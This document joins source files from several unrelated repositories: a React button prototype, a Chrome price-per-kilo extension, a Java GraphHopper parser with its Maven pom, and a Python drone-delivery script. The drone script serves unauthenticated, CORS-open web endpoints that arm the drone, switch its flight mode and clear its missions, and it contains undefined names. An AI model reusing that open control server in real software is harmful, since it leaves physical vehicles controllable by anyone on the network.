export { Icon, iconSizeMap } from './Icon';
<file_sep>/src/components/Icon/Icon.jsx
import { iconMap } from "./iconMap";
import * as Icons from "./icons/index";
// size in pixels
export const iconSizeMap = {
sm: "12",
md: "16",
lg: "24",
xl: "32",
xxl: "48",
};
export const Icon = ({ color, size, type, ...otherProps }) => {
const IconElement = Icons[iconMap[type]];
const props = {
"aria-hidden": true,
color,
height: `${iconSizeMap[size]}px`,
role: "presentation",
viewBox: "0 0 24 24",
width: `${iconSizeMap[size]}px`,
xmlns: "http://www.w3.org/2000/svg",
...otherProps,
};
return <IconElement {...props} />;
};
Icon.defaultProps = {
color: "currentColor",
size: "lg",
};
<file_sep>/src/components/Icon/icons/CreateIcon.jsx
export const CreateIcon = ({ ...props }) => (
<svg {...props}>
<path
fill="currentColor"
d="M12 0c1.105 0 2 .895 2 2v8h8c1.105 0 2 .895 2 2s-.895 2-2 2h-8v8c0 1.105-.895 2-2 2s-2-.895-2-2v-8.001L2 14c-1.105 0-2-.895-2-2s.895-2 2-2l8-.001V2c0-1.105.895-2 2-2z"
/>
</svg>
);
<file_sep>/src/components/Icon/icons/ShowcaseIcon.jsx
export const ShowcaseIcon = (props) => (
<svg {...props}>
<path
clipRule="evenodd"
d="M18.2,5h-12C5.1,5,4,5.9,4,7v7v2c0,1.1,1.1,2,2.2,2h6h0h6c1.1,0,1.8-0.9,1.8-2V7C20,5.9,19.3,5,18.2,5z M6,16v-1.6l1.1-1L9.8,16H6z M18,16h-5.3l-4.7-4.7c-0.4-0.4-1.1-0.4-1.5,0L6,11.6V7h12V16z"
fill="currentColor"
fillRule="evenodd"
/>
<path
clipRule="evenodd"
d="M14.7,13c1.4,0,2.5-1.1,2.5-2.5S16.1,8,14.7,8s-2.5,1.1-2.5,2.5S13.4,13,14.7,13"
fill="currentColor"
fillRule="evenodd"
/>
</svg>
);
<file_sep>/src/components/Icon/0-icon-overview.stories.mdx
import { Meta, Subtitle } from '@storybook/addon-docs/blocks';
<Meta title="Components/Icon/Overview" />
# Icons
<Subtitle>
Icons are visual expressions in the UI. Standardizing them gives continuity across an app. VHS
helps you standard these icons.
</Subtitle>
## How to use
Want an error icon?
```jsx
<Icon type="error" />
```
## Adding an icon
### 1. Add icon to library.
Create a new icon in VHS within the icon library: `vhs/src/components/Icon/icons`.
```jsx
export const FooIcon = ({ color, ...props }) => {
return (
<svg {...props}>
<path fill={color} d="1 2 3 4 5" />
</svg>
);
};
```
### 2. Import/Export the component
Import and export the icon inside `vhs/src/components/Icon/icons/index.jsx`, along with the other icons:
```jsx
export { FooIcon } from './FooIcon';
```
### 3. Add icon to iconMap
`vhs/src/components/Icon/iconMap.jsx`
The keys of `iconMap` are the "type" names in `<Icon type="NAME" />`. That way, we can name icons several things. For example, the "error" icon is actually the "triangle" icon. "triangle" is more descriptive of the icon, while "error" is helpful for standardizing naming for icon use.
```jsx
const iconMap = {
error: 'TriangleIcon',
triangle: 'TriangleIcon',
};
```
<file_sep>/README.md
# Overview
This prototype illustrates a potential new button system for VHS.
<file_sep>/src/components/Button.jsx
import styled, { css } from "styled-components";
import { darken, transparentize } from "polished";
import Tooltip from "@mui/material/Tooltip";
import { Icon } from "./Icon/Icon";
const ToolTipText = styled.span`
font-size: 14px;
font-weight: 400;
letter-spacing: 0;
`;
const LargeStyles = css`
font-size: 14px;
line-height: 20px;
//12px 16px - border
padding: ${(props) => (props.iconPlacement === "only" ? "8px" : "8px 12px")};
`;
const MediumStyles = css`
${LargeStyles}
//8px 12px - border
padding ${(props) => (props.iconPlacement === "only" ? "4px" : "4px 8px")};
`;
const SmallStyles = css`
font-size: 12px;
line-height: 16px;
//8px 8xp - border
padding: 4px;
`;
const ContainedStyles = css`
color: white;
background-color: ${(props) => props.color};
border: 2px solid ${(props) => props.color};
&:hover{
background-color ${(props) => darken(0.05, props.color)};
border: 2px solid ${(props) => darken(0.05, props.color)};
}
&:active{
background-color ${(props) => darken(0.1, props.color)};
border: 2px solid ${(props) => darken(0.1, props.color)};
}
`;
const OutlinedStyles = css`
color: ${(props) => props.color};
border: 2px solid ${(props) => props.color};
background-color: ${(props) => transparentize(1, props.color)};
&:hover {
background-color: ${(props) => transparentize(0.9, props.color)};
}
&:active {
background-color: ${(props) => transparentize(0.8, props.color)};
}
`;
const TextStyles = css`
color: ${(props) => props.color};
background-color: ${(props) => transparentize(1, props.color)};
border: 2px solid ${(props) => transparentize(1, props.color)};
&:hover {
background-color: ${(props) => transparentize(0.9, props.color)};
color: ${(props) => darken(0.1, props.color)};
}
&:active {
background-color: ${(props) => transparentize(0.8, props.color)};
color: ${(props) => darken(0.2, props.color)};
}
`;
const ButtonLabel = styled.span``;
const StyledIcon = styled(Icon)`
${({ iconPlacement }) =>
iconPlacement === "left"
? "margin-right"
: iconPlacement === "right"
? "margin-left"
: "margin-bottom"}: ${({ size }) => (size === "sm" ? "4px" : "8px")};
${({ iconPlacement }) => iconPlacement === "only" && "margin: 2px"};
`;
const StyledButton = styled.button`
font-weight: 600;
border-radius: 4px;
width: ${(props) => (props.fullWidth ? "100%" : "max-content")};
transition: all 110ms;
display: flex;
align-items: center;
justify-content: center;
${(props) =>
props.variant === "contained"
? ContainedStyles
: props.variant === "outlined"
? OutlinedStyles
: TextStyles};
${(props) =>
props.size === "lg"
? LargeStyles
: props.size === "md"
? MediumStyles
: SmallStyles};
opacity: ${(props) => (props.loading || props.disabled ? 0.8 : 1)};
& div {
transition: all 110ms;
}
`;
const ButtonContainer = styled.div`
display: flex;
flex-direction: column;
justify-content: center;
max-width: max-content;
position: relative;
`;
const LabelContainer = styled.div`
display: flex;
position: relative;
align-items: center;
opacity: ${(props) => (props.loading ? 0 : 1)};
flex-direction: ${(props) =>
props.iconPlacement === "top"
? "column"
: props.iconPlacement === "right"
? "row-reverse"
: "row"};
`;
const LoadingContainer = styled.div`
display: flex;
justify-content: center;
position: absolute;
left: 50%;
transform: translate(-50%);
opacity: ${(props) => (props.loading ? 1 : 0)};
`;
export function Button({
size,
variant,
color,
label,
iconPlacement,
icon,
onClick,
hideToolTip,
loading,
fullWidth,
}) {
const iconSize = size === "sm" ? "sm" : "md";
return (
<Tooltip
title={
iconPlacement === "only" && !hideToolTip ? (
<ToolTipText>{label}</ToolTipText>
) : (
""
)
}
placement="top"
arrow={true}
>
<StyledButton
size={size}
variant={variant}
color={color}
label={label}
iconPlacement={iconPlacement}
onClick={onClick}
loading={loading}
fullWidth={fullWidth}
>
<ButtonContainer>
<LoadingContainer loading={loading}>
<Icon type="spinner" size={iconSize} />
</LoadingContainer>
<LabelContainer loading={loading} iconPlacement={iconPlacement}>
{icon && (
<StyledIcon
type={icon}
size={iconSize}
iconPlacement={iconPlacement}
/>
)}{" "}
{iconPlacement !== "only" ? (
<ButtonLabel size={size} iconPlacement={iconPlacement}>
{label}
</ButtonLabel>
) : null}
</LabelContainer>
</ButtonContainer>
</StyledButton>
</Tooltip>
);
}
Button.defaultProps = {
size: "lg",
variant: "contained",
color: "#1e64f0",
label: "Button",
iconPlacement: "left",
icon: null,
hideToolTip: false,
loading: false,
fullWidth: false,
};
<file_sep>/src/components/Icon/icons/index.jsx
export { AbTestIcon } from "./AbTestIcon";
export { AllContentIcon } from "./AllContentIcon";
export { ArrowLeftIcon } from "./ArrowLeftIcon";
export { AsteriskIcon } from "./AsteriskIcon";
export { AudienceIcon } from "./AudienceIcon";
export { CaretDownIcon } from "./CaretDownIcon";
export { CaretLeftIcon } from "./CaretLeftIcon";
export { CaretRightIcon } from "./CaretRightIcon";
export { CaretUpIcon } from "./CaretUpIcon";
export { ChannelIcon } from "./ChannelIcon";
export { CheckmarkIcon } from "./CheckmarkIcon";
export { CloseIcon } from "./CloseIcon";
export { CommunityIcon } from "./CommunityIcon";
export { ContactUsIcon } from "./ContactUsIcon";
export { CopyDisabledIcon } from "./CopyDisabledIcon";
export { CreateIcon } from "./CreateIcon";
export { CustomizeIcon } from "./CustomizeIcon";
export { DeleteIcon } from "./DeleteIcon";
export { DeleteSmIcon } from "./DeleteSmIcon";
export { DownloadIcon } from "./DownloadIcon";
export { EllipsisIcon } from "./EllipsisIcon";
export { EmbedIcon } from "./EmbedIcon";
export { EpisodesIcon } from "./EpisodesIcon";
export { FavoriteIcon } from "./FavoriteIcon";
export { FontIcon } from "./FontIcon";
export { GearIcon } from "./GearIcon";
export { GettingStartedIcon } from "./GettingStartedIcon";
export { GroupPlusIcon } from "./GroupPlusIcon";
export { HazardIcon } from "./HazardIcon";
export { HelpCenterIcon } from "./HelpCenterIcon";
export { IntegrationsIcon } from "./IntegrationsIcon";
export { LinkIcon } from "./LinkIcon";
export { LockIcon } from "./LockIcon";
export { LogoutIcon } from "./LogoutIcon";
export { MediaIcon } from "./MediaIcon";
export { MegaphoneIcon } from "./MegaphoneIcon";
export { MoreOptionsIcon } from "./MoreOptionsIcon";
export { MoveCopyIcon } from "./MoveCopyIcon";
export { NotifyIcon } from "./NotifyIcon";
export { OpenNewIcon } from "./OpenNewIcon";
export { OverviewIcon } from "./OverviewIcon";
export { PencilIcon } from "./PencilIcon";
export { PodcastIcon } from "./PodcastIcon";
export { PreviewIcon } from "./PreviewIcon";
export { PrivateUserSessionsIcon } from "./PrivateUserSessionsIcon";
export { ProjectIcon } from "./ProjectIcon";
export { PromoteIcon } from "./PromoteIcon";
export { PublishIcon } from "./PublishIcon";
export { QuestionMarkIcon } from "./QuestionMarkIcon";
export { ReplaceIcon } from "./ReplaceIcon";
export { RevertIcon } from "./RevertIcon";
export { ScrewdriverIcon } from "./ScrewdriverIcon";
export { SearchIcon } from "./SearchIcon";
export { SetDefaultsIcon } from "./SetDefaultsIcon";
export { ShareIcon } from "./ShareIcon";
export { ShowcaseIcon } from "./ShowcaseIcon";
export { SoapboxIcon } from "./SoapboxIcon";
export { SpinnerIcon } from "./SpinnerIcon";
export { StatsIcon } from "./StatsIcon";
export { SubscribeIcon } from "./SubscribeIcon";
export { SwitchAccountsIcon } from "./SwitchAccountsIcon";
export { TriangleIcon } from "./TriangleIcon";
export { UndoIcon } from "./UndoIcon";
export { UploadIcon } from "./UploadIcon";
export { UsersPermissionsIcon } from "./UsersPermissionsIcon";
export { ViewStreamIcon } from "./ViewStreamIcon";
export { WandIcon } from "./WandIcon";
export { MuteAudioIcon } from "./MuteAudioIcon";
export { MuteVideoIcon } from "./MuteVideoIcon";
export { MuteScreenIcon } from "./MuteScreenIcon";
<file_sep>/src/components/Icon/icons/SpinnerIcon.jsx
export const SpinnerIcon = ({ ...props }) => (
<svg {...props}>
<circle
cx="12"
cy="12"
r="10"
stroke="currentColor"
strokeWidth="4"
strokeDashoffset="16"
strokeDasharray="64"
fill="none"
>
<animateTransform
attributeName="transform"
type="rotate"
repeatCount="indefinite"
dur="1.5s"
values="0 12 12;360 12 12"
keyTimes="0;1"
/>
</circle>
</svg>
);
<file_sep>/src/components/LoadingButton.jsx
import { useState } from "react";
import { Button } from "./Button";
import { Icon } from "./Icon/Icon";
export function LoadingButton({
size,
variant,
color,
label,
iconPlacement,
icon,
onClick,
hideToolTip,
loadingText,
loading,
}) {
const LABEL = loading ? loadingText + "..." : "button";
const ICON = loading ? "spinner" : icon;
return (
<Button
size={size}
variant={variant}
color={color}
label={LABEL}
icon={ICON}
iconPlacement={iconPlacement}
hideToolTip={hideToolTip}
/>
);
}
<file_sep>/src/App.js
import './App.css';
import { Button } from './components/Button';
import styled from 'styled-components';
import { FavoriteButton } from './components/FavoriteButton';
import { ToggleButton } from './components/ToggleButton';
import { MakeButton } from './components/MakeButton';
const Container = styled.div`
display: flex;
flex-direction: column;
padding: 64px;
`;
const ButtonGroup = styled.div`
display: flex;
align-items: center;
margin-bottom: 24px;
& Button {
margin-right: 16px;
}
`;
const ToggleButtonContainer = styled.div`
display: flex;
justify-content: center;
align-items: center;
padding: 120px;
background-color: #37373c;
width: 240px;
border-radius: 8px;
& :not(:last-child){
margin-right: 8px;
}
`;
function App() {
return (
<Container>
<h3>Button Examples</h3>
<h4>Large</h4>
<ButtonGroup>
<Button size="lg" variant='contained'/>
<Button size="lg" variant='outlined' />
<Button size="lg" variant='text' />
<Button size="lg" variant='text' iconPlacement="only"/>
</ButtonGroup>
<h4>Medium</h4>
<ButtonGroup>
<Button size="md" variant='contained' />
<Button size="md" variant='outlined' />
<Button size="md" variant='text' />
<Button size="md" variant='text' iconPlacement="only"/>
</ButtonGroup>
<h4>Small</h4>
<ButtonGroup>
<Button size="sm" variant='contained'/>
<Button size="sm" variant='outlined'/>
<Button size="sm" variant='text'/>
<Button size="sm" variant='text' iconPlacement="only"/>
</ButtonGroup>
<MakeButton />
<FavoriteButton />
<>
<h3>Toggle Buttons</h3>
<ToggleButtonContainer>
<ToggleButton toggleOffIcon="podcast" toggleOnIcon="mute-audio" toggleOffLabel="Mute Audio" toggleOnLabel="Enable Audio"/>
<ToggleButton toggleOffIcon="soapbox" toggleOnIcon="mute-video" toggleOffLabel="Disable Video" toggleOnLabel="Enable Video"/>
<ToggleButton toggleOffIcon="private-user-sessions" toggleOnIcon="mute-screen" toggleOffLabel="Disable Screen Sharing" toggleOnLabel="Enable Screen Sharing"/>
</ToggleButtonContainer>
</>
</Container>
);
}
export default App;
<file_sep>/src/components/FavoriteButton.jsx
import { Button } from "./Button";
import { useState } from "react";
export function FavoriteButton() {
const [favorite, changeFavorite] = useState(false);
function handleClick() {
changeFavorite(!favorite);
}
return (
<>
<h3>Favorite Button</h3>
{favorite ? (
<Button
color="#fabe1f"
size="md"
variant="text"
iconPlacement="only"
icon="favorite"
label="Remove Favorite"
onClick={handleClick}
/>
) : (
<Button
color="#37373c"
size="md"
variant="text"
iconPlacement="only"
icon="favorite"
label="Favorite"
onClick={handleClick}
/>
)}
</>
);
}
| 54002fcfdbdf0bf13b738c330ce55c3d25af9e17 | [
"JavaScript",
"Markdown"
] | 16 | JavaScript | JLamp/vhs-buttons | 7091f0b9ef0aaee3c97d6a0a3ab9513caa11a5da | 295af416388bb757b948bdfc3be076589168e463 |
refs/heads/master | <repo_name>lologhi/redmart-per-kilo<file_sep>/background.js
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';
chrome.browserAction.onClicked.addListener(function(activeTab) {
console.log("updating prices");
chrome.tabs.executeScript(null, {file: "src/inject/inject.js"});
});
chrome.commands.onCommand.addListener(function(command) {
console.log('Command:', command);
chrome.tabs.executeScript(null, {file: "src/inject/inject.js"});
});
<file_sep>/README.md
Redmart-per-kilo
================
Now available on the [Chrome Web Store](https://chrome.google.com/webstore/detail/redmart-price-per-kilo/bbnnahhoiomjaibefikkbjfefhnlfjjb).
!! Work in progress !!
This is a Google Chrome extension (my first one) that will try to add the prices per kilogram on the Redmart.com product pages.
To calculate/re-calculate the prices, click on the extension button in Chrome on the top right. You can also configure a keyboard shortcut (suggested: Ctrl + 1) to calculate/re-calculate the prices. You can do this at chrome://extensions/shortcuts. For now you will have to keep activating the extension each time you scroll down a list of products (new products are loaded dynamically) and when you navigate to another page.
The extension handles the units g, kg, mL, L, and "per pack", and multi-buy offers in the form "Buy 5 save $3", or "Any 3 for $4". When unit prices are too small, the extension automatically multiplies it by 100 (e.g. $0.01/kg becomes $1.00/100 kg).

# Releases:
- 2019-01-27: 798680d Works with new app-based redmart site. Handles more units and offers. Now user-triggered instead of upon page load.
- 2015-06-16: 382d407 Add the packaged extension
- 2015-06-15: 50e4a45 Manage weights like "8 x 50g"
- 2015-06-11: f79864c First try
<file_sep>/src/inject/inject.js
function getUnits(str)
{
if (str.toLowerCase().indexOf('kg') !== -1){
return "kg";
}
else if (str.toLowerCase().indexOf('g') !== -1){
return "g";
}
else if (str.toLowerCase().indexOf('ml') !== -1){
return "ml";
}
else if (str.toLowerCase().indexOf('l') !== -1){
return "l";
}
else if (str.toLowerCase().indexOf('per pack') !== -1){
return "per pack";
}
}
function getOfferPricePerItem(str, price){
// input the offer string
// output the price per item
var quantity = 1;
var strList = str.split(" ");
// Check if offer string has exactly four words. Otherwise exit function.
if (strList.length !== 4){
return (price/quantity)
}
// checks for legitimate numbers, prices, and percentages.
if ((!isNaN(Number(strList[1]))) & (strList[3].indexOf("$") !== -1 | strList[3].indexOf("%") !== -1)){
var quantity = strList[1];
if (strList[2].toLowerCase().indexOf('for') !== -1){
price = strList[3].replace("$", "");
}
else if (strList[2].toLowerCase().indexOf('save') !== -1){
if (strList[3].indexOf("$") !== -1){
price = (price * quantity) - strList[3].replace("$", "");
}
else if (strList[3].indexOf("%") !== -1){
price = price * quantity * (100 - strList[3].replace("%", ""))/100;
}
}
}
return (price/quantity);
}
function addPrice(product)
{
var description = product.getElementsByClassName('description')[0];
if (description.textContent.indexOf(" / ") > -1){ // if unitprice already exists
console.log("unit price already exists");
return;
};
var priceSpan = product.querySelector('[itemprop=price]').textContent;
var price = priceSpan.replace("$", "");
// Check for offers
var offers = product.getElementsByClassName('ProductItemBadge__container___286yx');
if (offers.length !== 0){
var offerStr = offers[0].textContent;
}
else {
var offerStr = ""
}
var offerPrice = getOfferPricePerItem(offerStr, price);
// =====
var sizeSpan = product.getElementsByClassName('size')[0].textContent;
var sizeSpanUnit = getUnits(sizeSpan);
// Handles "4 x 50g" formats
if (sizeSpan.indexOf('x') > -1) {
var total = 1;
for (var i = 0; i < sizeSpan.split(' x ').length; i++) {
elem = sizeSpan.split(' x ')[i];
elemUnit = getUnits(elem);
elem = elem.replace(" " + elemUnit, "");
total *= elem;
}
} else {
var total = sizeSpan.replace(" " + sizeSpanUnit, "");
}
var unitPrice = price/total;
var unitOfferPrice = offerPrice/total;
// Final touches: Turn ml to l, g to kg, per pack into pack, capitalise litres.
if (sizeSpanUnit == "ml"){
unitPrice *= 1000;
unitOfferPrice *= 1000;
sizeSpanUnit = "L";
}
else if (sizeSpanUnit == "g"){
unitPrice *= 1000;
unitOfferPrice *= 1000;
sizeSpanUnit = "kg";
}
else if (sizeSpanUnit == "per pack"){
sizeSpanUnit = "item";
}
else if (sizeSpanUnit == 'l'){
sizeSpanUnit = "L";
}
// Check if unit price is too low, multiply by 100 if necessary.
if (unitPrice <= 0.05 | unitOfferPrice <= 0.05){
unitPrice *= 100;
unitOfferPrice *= 100;
if (sizeSpanUnit == "item"){
sizeSpanUnit = "items";
}
sizeSpanUnit = "100 " + sizeSpanUnit
}
// Create the display string
if (price != offerPrice){
var outstr = "$"+ unitOfferPrice.toFixed(2) + " / " + sizeSpanUnit + " (offer)";
}
else {
var outstr = "$"+ unitPrice.toFixed(2) + " / " + sizeSpanUnit;
}
description.innerHTML += outstr;
}
chrome.runtime.sendMessage({}, function(response) {
setTimeout(function () {
if (document.getElementsByClassName("productShelf")) {
var productShelves = document.getElementsByClassName("productShelf");
for (var j=0; j < productShelves.length; j++){
var productShelf = productShelves[j];
var products = productShelf.querySelectorAll('li');
for (var i = 0; i < products.length; i++) {
addPrice(products[i]);}
};
}
}, 500);
});
/* chrome.runtime.sendMessage({}, function(response) {
var readyStateCheckInterval = setInterval(function() {
if (document.readyState === "complete") {
clearInterval(readyStateCheckInterval);
setTimeout(function () {
if (document.getElementsByClassName("productShelf")) {
var productShelves = document.getElementsByClassName("productShelf");
for (var j=0; j < productShelves.length; j++){
var productShelf = productShelves[j];
var products = productShelf.querySelectorAll('li');
for (var i = 0; i < products.length; i++) {
addPrice(products[i]);}
};
}
}, 1000);
}
}, 10);
});
*/ | 2c3ce816c4e0eea0ae09e301e9c678858dc42610 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | lologhi/redmart-per-kilo | 39fe58e68ed3ea933472563bc51ca41d1d12fb21 | 8ac1c032b7b11e89b4ff1692c352b4366470206d |
refs/heads/master | <file_sep>package org.wayfinder.graphhopper.util;
import org.codehaus.jettison.json.JSONArray;
import org.codehaus.jettison.json.JSONObject;
import java.util.ArrayList;
import java.util.List;
/**
* Created by kreker on 05.05.15.
*/
public class GraphHopperHelper {
public static List<List<Double>> parseGraphHopper(String json){
List<List<Double>> coords = new ArrayList<>();
try {
JSONObject jsonObj = new JSONObject(json);
JSONArray paths = jsonObj.getJSONArray("paths");
JSONObject path = paths.getJSONObject(0);
JSONObject points = path.getJSONObject("points");
JSONArray coordinates = points.getJSONArray("coordinates");
for (int i = 0; i < coordinates.length(); i++) {
JSONArray obj = coordinates.getJSONArray(i);
List<Double> list = new ArrayList<>();
list.add(obj.getDouble(0));
list.add(obj.getDouble(1));
coords.add(list);
}
return coords;
}
catch (Exception e){
e.printStackTrace();
}
return coords;
}
}
<file_sep><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>blindrider</groupId>
<artifactId>wayfinder</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>wayfinder Maven Webapp</name>
<url>http://maven.apache.org</url>
<properties>
<spring.version>4.0.1.RELEASE</spring.version>
<jackson.version>1.9.13</jackson.version>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<!-- Spring dependencies -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>
<!-- Jackson JSON Mapper -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.4.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.4.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.4.2</version>
</dependency>
<!--Httpclient-->
<dependency>
<groupId>com.sun.jersey</groupId>
<artifactId>jersey-client</artifactId>
<version>1.5</version>
</dependency>
<dependency>
<groupId>com.sun.jersey</groupId>
<artifactId>jersey-json</artifactId>
<version>1.17.1</version>
</dependency>
<!--Jstl-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>jstl</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
</dependencies>
<build>
<finalName>wayfinder</finalName>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
<version>8.1.15.v20140411</version>
<configuration>
<scanIntervalSeconds>5</scanIntervalSeconds>
<stopPort>9999</stopPort>
<stopKey>foo</stopKey>
<connectors>
<connector implementation="org.eclipse.jetty.server.nio.SelectChannelConnector">
<port>8081</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
</configuration>
</plugin>
</plugins>
</build>
</project>
<file_sep>import os, os.path
import simplejson
import time
from pymavlink import mavutil
import droneapi.lib
from droneapi.lib import VehicleMode, Location, Command
import cherrypy
from cherrypy.process import wspbus, plugins
from jinja2 import Environment, FileSystemLoader
def cors():
if cherrypy.request.method == 'OPTIONS':
cherrypy.response.headers['Access-Control-Allow-Methods'] = 'POST'
cherrypy.response.headers['Access-Control-Allow-Headers'] = 'content-type'
cherrypy.response.headers['Access-Control-Allow-Origin'] = '*'
return True
else:
cherrypy.response.headers['Access-Control-Allow-Origin'] = '*'
cherrypy.tools.cors = cherrypy._cptools.HandlerTool(cors)
cherrypy_conf = {
'/': {
'tools.sessions.on': True,
'tools.staticdir.root': local_path,
},
'/static': {
'tools.staticdir.on': True,
'tools.staticdir.dir': './html/assets'
}
}
#
##
###
class Drone(object):
def __init__(self, home_coords, server_enabled=True):
self.api = local_connect()
self.gps_lock = False
self.altitude = 30.0
self.vehicle = self.api.get_vehicles()[0]
self.commands = self.vehicle.commands
self.current_coords = []
self.home_coords = home_coords
self.webserver_enabled = server_enabled
self._log("DroneDelivery Start")
# Register observers
self.vehicle.add_attribute_observer('armed', self.armed_callback)
self.vehicle.add_attribute_observer('location', self.location_callback)
self.vehicle.add_attribute_observer('velocity', self.velocity_callback)
self.vehicle.add_attribute_observer('groundspeed', self.groundspeed_callback)
#self.vehicle.add_attribute_observer('mode', self.mode_callback)
self.vehicle.add_attribute_observer('gps_0', self.gps_callback)
self._log("Waiting for GPS Lock")
def takeoff(self):
self._log("Taking off")
self.commands.takeoff(30.0)
self.vehicle.flush()
def arm(self, toggle=True):
if toggle:
self._log("Arming")
else:
self._log("Disarming")
self.vehicle.armed = True
self.vehicle.flush()
def run(self):
self._log('Running initial boot sequence')
self.arm()
self.takeoff()
self.change_mode('GUIDED')
if self.webserver_enabled is True:
self._run_server()
def _run_server(self):
# Start web server if enabled
cherrypy.tree.mount(DroneDelivery(self), '/', config=cherrypy_conf)
cherrypy.config.update({
'server.socket_port': 8080,
'server.socket_host': '0.0.0.0',
'log.screen': None
})
cherrypy.engine.start()
def change_mode(self, mode):
self._log("Mode: {0}".format(mode))
self.vehicle.mode = VehicleMode(mode)
self.vehicle.flush()
def gotomission(self, path):
self.change_mode('HOLD')
self.vehicle.commands.clear();
self.vehicle.flush()
time.sleep(2)
num = 1
self.vehicle.commands.add(Command(1,0,0,3,16,1,1,0,5,0,0,path[0]['lat'], path[0]['lng'],20))
for pathitem in path:
self.vehicle.commands.add(Command(1,0,num,3,16,0,1,0,5,0,0,pathitem['lat'], pathitem['lng'],20))
num+=1
self.vehicle.flush()
time.sleep(4)
self.change_mode('AUTO')
self.vehicle.flush()
self.vehicle.commands.next =0
self.vehicle.flush()
def clearmission(self):
self.change_mode('RTL')
time.sleep(2)
self.vehicle.commands.clear()
self.vehicle.flush()
time.sleep(2)
self.vehicle.commands.next = 0
self.vehicle.flush()
def get_mission(self):
points = []
for command in self.vehicle.commands:
points.append(dict(lat=command.x, lon=command.y))
return points
def get_groundspeed(self):
return self.current_groundspeed
def groundspeed_callback(self, groundspeed):
groundspeed = self.vehicle.groundspeed
self.current_groundspeed = groundspeed
def get_velocity(self):
return self.current_velocity
def velocity_callback(self, velocity):
velocity = self.vehicle.velocity
self.current_velocity = velocity
def get_mode(self):
return self.vehicle.mode
def get_commands(self):
return self.commands
def get_next(self):
if(self.vehicle.commands.count>0):
pos = self.vehicle.commands[self.vehicle.commands.next]
return dict(lat=pos.x, lon=pos.y)
else:
return dict(lat=self.current_location.lat, lon=self.current_location.lon)
def get_altitude(self):
return self.altitude
def get_location(self):
return [self.current_location.lat, self.current_location.lon]
def location_callback(self, location):
location = self.vehicle.location
if location.alt is not None:
self.altitude = location.alt
self.current_location = location
def armed_callback(self, armed):
self._log("DroneDelivery Armed Callback")
self.vehicle.remove_attribute_observer('armed', self.armed_callback)
def mode_callback(self, mode):
self._log("Mode: {0}".format(self.vehicle.mode))
def gps_callback(self, gps):
self._log("GPS: {0}".format(self.vehicle.gps_0))
if self.gps_lock is False:
self.gps_lock = True
self.vehicle.remove_attribute_observer('gps_0', self.gps_callback)
self.run()
def _log(self, message):
print "[DEBUG]: {0}".format(message)
class Templates:
def __init__(self, home_coords):
self.home_coords = home_coords
self.options = self.get_options()
self.environment = Environment(loader=FileSystemLoader( local_path + '/html'))
def get_options(self):
return {
'width': 670,
'height': 470,
'zoom': 13,
'format': 'png',
'access_token': '<KEY>',
'mapid': 'mrpollo.kfbnjbl0',
'home_coords': self.home_coords,
'menu': [
{'name': 'Home', 'location': '/'},
{'name': 'Track', 'location': '/track'},
{'name': 'Command', 'location': '/command'}
],
'current_url': '/',
'json': ''
}
def index(self):
self.options = self.get_options()
self.options['current_url'] = '/'
return self.get_template('index')
def track(self, current_coords):
self.options = self.get_options()
self.options['current_url'] = '/track'
self.options['current_coords'] = current_coords
self.options['json'] = simplejson.dumps(self.options)
return self.get_template('track')
def command(self, current_coords):
self.options = self.get_options()
self.options['current_url'] = '/command'
self.options['current_coords'] = current_coords
return self.get_template('command')
def get_template(self, file_name):
template = self.environment.get_template( file_name + '.html')
return template.render(options=self.options)
#
##
###
class DroneDelivery(object):
def __init__(self, drone):
self.drone = drone
self.templates = Templates(self.drone.home_coords)
@cherrypy.expose
def index(self):
return self.templates.index()
@cherrypy.expose
def command(self):
return self.templates.command(self.drone.get_location())
@cherrypy.expose
@cherrypy.tools.json_out()
def velocity(self):
return self.drone.get_velocity()
@cherrypy.expose
@cherrypy.tools.json_out()
def groundspeed(self):
return self.drone.get_groundspeed()
@cherrypy.expose
@cherrypy.tools.json_out()
def location(self):
return dict(lat=self.drone.get_location()[0], lon=self.drone.get_location()[1])
@cherrypy.expose
@cherrypy.tools.json_out()
def vehicle(self):
return dict(position=self.drone.get_location())
@cherrypy.expose
@cherrypy.tools.json_out()
def altitude(self):
return self.drone.get_altitude()
@cherrypy.expose
@cherrypy.tools.json_out()
def commands(self):
return self.drone.get_commands().count
@cherrypy.expose
@cherrypy.tools.json_out()
def next(self):
return self.drone.get_next()
@cherrypy.expose
@cherrypy.tools.json_out()
def mode(self):
return self.drone.get_mode().name
@cherrypy.expose
def track(self, lat=None, lon=None):
if(lat is not None and lon is not None):
self.drone.goto([lat, lon], True)
return self.templates.track(self.drone.get_location())
@cherrypy.expose
def clearmission(self):
self.drone.clearmission()
